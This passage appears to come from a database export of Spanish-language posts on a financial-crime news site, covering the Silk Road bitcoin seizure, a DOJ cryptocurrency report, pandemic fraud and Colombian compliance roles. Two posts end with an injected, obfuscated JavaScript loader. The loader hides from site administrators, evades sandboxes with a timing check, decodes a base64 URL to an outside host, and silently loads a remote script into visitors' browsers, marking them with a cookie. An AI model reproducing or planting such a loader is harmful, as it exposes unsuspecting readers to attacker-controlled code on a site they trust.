https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa 